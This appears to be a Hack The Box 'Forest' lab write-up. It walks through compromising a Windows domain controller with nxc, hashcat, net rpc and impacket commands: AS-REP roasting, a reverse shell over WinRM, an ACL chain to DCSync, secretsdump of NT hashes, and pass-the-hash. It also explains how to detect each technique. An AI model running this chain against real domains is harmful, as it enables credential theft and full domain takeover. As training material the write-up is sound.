HTB - Forest

Target IP: 10.129.95.210 Domain: htb.local DC Hostname: FOREST.htb.local OS: Windows Server 2016 Standard Difficulty: Easy Assumed Breach: No — initial access via unauthenticated enumeration Author: [g1nt0n1x]


1. Phase 1: Reconnaissance & Information Gathering

1.1 TCP Port Discovery

I use nmap-scan, a custom automated wrapper that runs both the full-port sweep and the targeted version/script scan in sequence, saving all results under nmap/ with -oA.

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf       .NET Message Framing

| smb2-security-mode:
|_    Message signing enabled and required
| smb-security-mode:
|_    message_signing: required

Port Analysis & Attack Surface

PortServiceNotes
88/tcpKerberosDomain Controller confirmed
389/tcpLDAPDomain: htb.local, DC: FOREST.htb.local
445/tcpSMBSigning required — relay attacks blocked
5985/tcpWinRMRemote shell entry point if valid credentials found
135/tcpMSRPCRPC endpoint mapper — usable for group management

1.2 Local Host Resolution

nxc smb 10.129.95.210 --generate-hosts-file hosts
cat hosts | sudo tee -a /etc/hosts

2. Phase 2: Unauthenticated Enumeration

2.1 Null / Guest Session Test

Before trying any credentials, test whether the DC accepts unauthenticated (null) sessions. Many older AD environments leave this enabled, and it exposes a significant amount of user and group information via SAMRPC.

# Empty username and password = null session attempt over SMB/RPC
nxc smb 10.129.95.210 -u '' -p '' --users-export usernames.txt

This works here because the DC allows anonymous RPC binding. The --users-export flag queries the SAM Remote Protocol (MS-SAMR) for all domain user accounts and writes them to a file — no credentials required.


3. Phase 3: AS-REP Roasting

3.1 Check for Kerberos Pre-Authentication Disabled

With a username list in hand, test each account for the DONT_REQ_PREAUTH flag. Accounts with this flag set skip the pre-authentication step in the AS-REQ exchange — meaning anyone can request a Ticket Granting Ticket (TGT) on their behalf without supplying a password. The KDC responds with an AS-REP encrypted with the user’s long-term key (derived from their password), which can be taken offline for cracking.

nxc ldap 10.129.95.210 -u usernames.txt -p '' --asreproast AS-REP.hashes

Result: svc-alfresco has pre-authentication disabled.

3.2 Crack the AS-REP Hash Offline

# -m 18200: Kerberos 5 AS-REP etype 23 (RC4)
hashcat -m 18200 AS-REP.hashes /usr/share/wordlists/rockyou.txt --force
# svc-alfresco:s3rvice

The hash is an RC4-encrypted blob. Hashcat attacks it dictionary-style — each candidate password is used to derive the RC4 key and decrypt the blob. If it decrypts to a valid Kerberos structure, the password is found.


4. Phase 4: Initial Access via WinRM

WinRM (port 5985) was open during recon. Validate the cracked credentials and establish a shell:

nxc winrm 10.129.95.210 -u svc-alfresco -p s3rvice
# [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)

Using nxc-shell (custom tool) to spawn a full reverse shell via Nishang over WinRM:

nxc-shell nishang winrm 10.129.95.210 -u svc-alfresco -p s3rvice
# whoami
# htb\svc-alfresco

5. Phase 5: BloodHound Enumeration

5.1 Collect AD Data

With valid credentials and a shell, run BloodHound collection immediately. BloodHound maps every AD object relationship — group memberships, ACLs, GPO links, session data — into a graph that makes privilege escalation paths immediately visible.

nxc ldap 10.129.95.210 -u svc-alfresco -p s3rvice --dns-server 10.129.95.210 --bloodhound --collection All
cp /home/kali/.nxc/logs/FOREST_10.129.95.210_*_bloodhound.zip .

Upload the zip to BloodHound CE. Mark svc-alfresco as Owned, then run “Shortest Paths from Owned Objects”.

5.2 Identify the Attack Path

BloodHound reveals a multi-hop ACL chain leading to Domain Admin:

svc-alfresco
    |
    └─[MemberOf]─► Privileged IT Accounts
                        |
                        └─[MemberOf]─► Account Operators
                                            |
                                            └─[GenericAll]─► Exchange Windows Permissions
                                                                    |
                                                                    └─[WriteDACL]─► HTB.LOCAL
                                                                                        |
                                                                                        └─[Contains]─► Domain Admins

Each edge is an abusable AD permission. We walk the chain one hop at a time.


6. Phase 6: ACL Abuse Chain

Hop 1: Account Operators → GenericAll → Exchange Windows Permissions

svc-alfresco is a member of Privileged IT Accounts, which is a member of Account Operators — a built-in privileged group. Account Operators has GenericAll over Exchange Windows Permissions.

GenericAll is full control over the target object. On a group, this includes the right to add or remove members.

# Add svc-alfresco directly to Exchange Windows Permissions
net rpc group addmem "EXCHANGE WINDOWS PERMISSIONS" "svc-alfresco" \
    -U "htb.local"/"svc-alfresco"%"s3rvice" -S "10.129.95.210"
 
# Verify membership
net rpc group members "EXCHANGE WINDOWS PERMISSIONS" \
    -U "htb.local"/"svc-alfresco"%"s3rvice" -S "10.129.95.210"
# HTB\Exchange Trusted Subsystem
# HTB\svc-alfresco

We use net rpc (MS-SAMR over RPC port 135/445) rather than LDAP tools here because it works cleanly with cleartext credentials and the port was already confirmed open during recon.

Hop 2: Exchange Windows Permissions → WriteDACL → HTB.LOCAL → DCSync

The Exchange Windows Permissions group has WriteDACL on the domain root (DC=HTB,DC=LOCAL). By joining that group in Hop 1, svc-alfresco now inherits this right.

WriteDACL allows directly modifying the DACL of any AD object — in this case the domain itself. We use this to grant svc-alfresco the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights, which together enable DCSync.

python /usr/share/doc/python3-impacket/examples/dacledit.py \
    -action 'write' -rights 'DCSync' \
    -principal 'svc-alfresco' \
    -target-dn 'DC=HTB,DC=LOCAL' \
    'htb.local'/'svc-alfresco':'s3rvice'

7. Phase 7: DCSync → Domain Admin

7.1 Dump All Domain Secrets

With DCSync rights granted, svc-alfresco can now impersonate a Domain Controller and request credential replication via the DRSUAPI protocol. This pulls every account’s NT hash directly from NTDS.dit — the domain’s credential database — without touching the DC’s disk or triggering most AV/EDR.

python /usr/share/doc/python3-impacket/examples/secretsdump.py \
    htb.local/svc-alfresco:s3rvice@10.129.95.210
# [*] Using the DRSUAPI method to get NTDS.DIT secrets
# htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::

7.2 Pass the Hash — Validate DA Access

nxc smb 10.129.95.210 -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6 -X whoami
# [+] htb.local\administrator:32693b11e6aa90eb43d32c72a07ceea6 (Pwn3d!)
# htb\administrator

Domain compromised.


Deep Dive: BloodHound & AD Graph Enumeration

Active Directory is fundamentally a graph: objects (users, groups, computers, GPOs) are nodes, and relationships (group membership, ACLs, sessions, trusts) are edges. Privilege escalation in AD almost always means traversing this graph from a low-privilege node to a high-privilege one.

BloodHound ingests AD data collected by SharpHound (or the nxc module) and models it as a property graph in Neo4j. It ships with pre-built Cypher queries that answer questions like:

  • “What is the shortest path from any owned principal to Domain Admins?”
  • “Which users have a path to DA in under 5 hops?”
  • “What Kerberoastable accounts have a path to high-value targets?”

Why BloodHound Finds Paths Humans Miss

Manual enumeration checks obvious things: local admin rights, group membership, password policies. BloodHound checks everything simultaneously — including transitive membership (being in a group that is in a group that has a right) and chained ACLs across dozens of objects. The Forest attack path is a perfect example: no single step looks alarming in isolation, but chained together they reach DA.

How to Use It Effectively

  1. Mark every owned principal — BloodHound’s path queries start from owned nodes. The more you mark, the more paths it reveals.
  2. Right-click any edge → Help — gives exact abuse commands and detection notes for that specific permission.
  3. Use “Shortest Paths to Domain Admins” early, then “Shortest Paths from Owned Objects” once you have a foothold.
  4. Check for Tier 0 assets — BloodHound CE highlights high-value targets (DCs, DA accounts, ADCS servers). Any path to these is worth pursuing.

Deep Dive: AS-REP Roasting

Kerberos pre-authentication exists to prevent offline password attacks against the KDC. During a normal AS-REQ, the client proves it knows the password by encrypting a timestamp with its key — the KDC won’t respond with usable encrypted material unless this proof is valid first.

When DONT_REQ_PREAUTH is set on an account, the KDC skips this proof entirely and returns an AS-REP containing a blob encrypted with the user’s password-derived key. Any unauthenticated attacker on the network can request this blob for any vulnerable account, then crack it offline at their own pace.

Why service accounts are common targets: Service accounts often have this flag set by administrators who want to avoid Kerberos pre-auth issues with legacy applications — without realising the attack surface it creates.

Detection: AS-REP Roasting generates Event ID 4768 (Kerberos AS request) with no corresponding pre-auth. Monitoring for 4768 events without a preceding 4771 is a reliable detection signal.


Deep Dive: ACL Abuse in Active Directory

Every AD object has a Discretionary Access Control List (DACL) — a list of Access Control Entries (ACEs) that define who can do what to that object. These ACEs cover both standard operations (read, write, delete) and AD-specific extended rights (reset password, replicate directory changes, etc.).

ACL misconfigurations are among the most common privilege escalation paths in real environments because:

  • They are invisible to users and most monitoring tools
  • They are often set intentionally (e.g., Exchange installs WriteDACL on the domain root by design)
  • They persist across password resets and account changes
ACL RightWhat it enables
GenericAllFull control → password reset, Shadow Credentials, group membership, any attribute
GenericWriteWrite any non-protected attribute → Shadow Credentials, SPN abuse
WriteDACLModify the object’s DACL → grant yourself any right, including DCSync
WriteOwnerChange the object’s owner → then modify its DACL freely
ForceChangePasswordReset password without knowing the current one

The Exchange WriteDACL Issue (This Box)

Microsoft’s Exchange installation historically granted Exchange Windows Permissions the WriteDACL right on the domain root as part of its hybrid deployment requirements. This is legitimate functionality — but it means anyone who can join that group (via Account Operators, for example) can grant themselves DCSync rights. This is a well-known misconfiguration that persists in many real-world Exchange deployments.


Deep Dive: DCSync

DCSync abuses the Directory Replication Service Remote Protocol (DRSUAPI) — the same protocol real Domain Controllers use to replicate credential data between each other. An account with the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights can initiate a replication request and pull every account’s NT hash, including krbtgt.

Key properties that make DCSync dangerous:

  • No local access required — runs over the network from any machine
  • No disk access — never touches NTDS.dit directly
  • Blends in — replication traffic is expected and often unmonitored
  • krbtgt hash — dumping it enables Golden Ticket attacks for persistent access

Detection: Event ID 4662 with DS-Replication-Get-Changes-All GUID from an account that is not a Domain Controller is the primary detection signal. Tools like Microsoft ATA and Defender for Identity alert on this out of the box.


Key Takeaways & Checklist

  • On non-assumed-breach boxes, always test for null/guest sessions first — they can give you a full user list without any credentials
  • AS-REP Roast your full user list immediately after obtaining it — no credentials needed
  • Run BloodHound as soon as you have valid credentials — it maps the entire attack path upfront
  • Mark every compromised account as Owned in BloodHound before querying paths
  • Account Operators is a dangerous group — members can add users to most non-protected groups, including Exchange-related ones
  • WriteDACL on the domain root = DCSync = game over; look for this edge on Exchange-integrated environments
  • DCSync with secretsdump.py dumps everything: NT hashes, Kerberos keys, cleartext passwords if reversible encryption is enabled
  • After dumping hashes, validate with nxc smb -H before attempting lateral movement